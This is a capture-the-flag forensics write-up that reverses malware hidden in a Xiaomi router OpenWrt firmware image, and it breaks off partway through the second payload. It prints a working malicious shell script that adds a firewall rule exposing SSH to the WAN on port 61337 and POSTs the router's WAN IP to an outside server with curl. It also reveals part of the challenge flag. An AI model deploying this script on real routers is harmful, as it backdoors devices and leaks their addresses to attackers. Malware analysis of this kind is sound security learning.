This medium forensics challenge was some good binary reversing practice and started with a realistic Xiaomi Router firmware image. The goal was to find and understand the malware hidden in the filesystem by also interacting with the remote server after finding URLs.
The Firmware
From the challenge, we get one single openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin file. Quite the mouthful and running binwalk reveals that it contains many different sections:
It runs the /usr/bin/dead-reanimation binary every 10 minutes, which is an ELF binary compiled for the MIPS architecture. We can try to open it in a decompiler like Ghidra to quickly see what it does. We'll start at the entry() function, and see what gets called from there:
It calls FUN_00400664() which you'll recognize if you've reversed programs before. This first function in the __libc_start_main() argument is the main() function that runs our program. We can rename it by pressing L and then analyze it further:
Seems like a stripped binary with some simple logic to follow. Some byte arrays are created in local_a8 and local_90, as well as auStack_7c and auStack_40 which have their contents copied from a DAT_ entry. These bytes can be viewed by double-clicking the name and can be copied from the assembly view. All these data variables are each passed into FUN_00400c04, which seems to decrypt them:
The iterator local_10 loops over the input parameter, and XORs each character with a static key stored in DAT_00400f24. Note that this key is indexed with uVar1 that has some small calculation done each loop, which we can confirm to just be a % 32 operation:
A good start, two paths, and two URLs. If we follow the main() code again these strings are passed to the FUN_00400b20() after decryption in pairs of two. This function uses the curl C-API to make a request and download the files to the specified locations. We can be sure of this by checking the CURLOPT codes and matching them with the hex in the decompilation:
It will simply download the URLs we decrypted to the locations we decrypted. Finally, the main function calls system() on both locations after chmod()'ing them, so they must be executable.
We'll first look at the shell script as it will likely be the easiest to understand. There is some router-specific code, but on the last line, this is exfiltrated to the attacker's server with an auth_token:
#!/bin/shWAN_IP=$(ip -4 -o addr show pppoe-wan|awk'{print $4}'|cut -d"/" -f 1)ROUTER_IP=$(ip -4 -o addr show br-lan|awk'{print $4}'|cut -d"/" -f 1)CONFIG="config redirect \n\t
option dest 'lan' \n\t
option target 'DNAT' \n\t
option name 'share' \n\t
option src 'wan' \n\t
option src_dport '61337' \n\t
option dest_port '22' \n\t
option family 'ipv4' \n\t
list proto 'tcpudp' \n\t
option dest_ip '${ROUTER_IP}'"echo-e$CONFIG>> /etc/config/firewall/etc/init.d/firewall restartcurl -X POST -H"Content-Type: application/json" -b"auth_token=SFRCe1owbWIxM3NfaDR2M19pbmY" -d'{"ip":"'${WAN_IP}'"}' http://configs.router.htb/reanimate
We can see though that this auth_token value is not completely random, it is the first part of the flag in base64! HTB{Z0mb13s_h4v3_inf (CyberChef)
Part 2: ELF executable
Next up is the ELF executable dead_reanimated_mNmZTMtNjU3YS00, which we can once again open in Ghidra:
This one is less stripped, nice. Once again, it looks to be decrypting strings just like in the last binary and then uses them for a curl request. Let's find out what these decrypt to.
auStack_68 and acStack_3c are known static data to us. pvVar2 is a new buffer allocated right before the call to init_crypto_lib(), which uses our other parameters. At first, this might seem like some complicated library function, but when we double-click it it's clear that this is part of the custom code:
These two functions both implement cryptographic logic that one could try to reverse engineer, but can also be solved through dynamic analysis. If we just copy the inputs and these two functions into another C script and run it, we can print the result. We just have to replace some undefined types, uint -> unsigned int and byte -> char: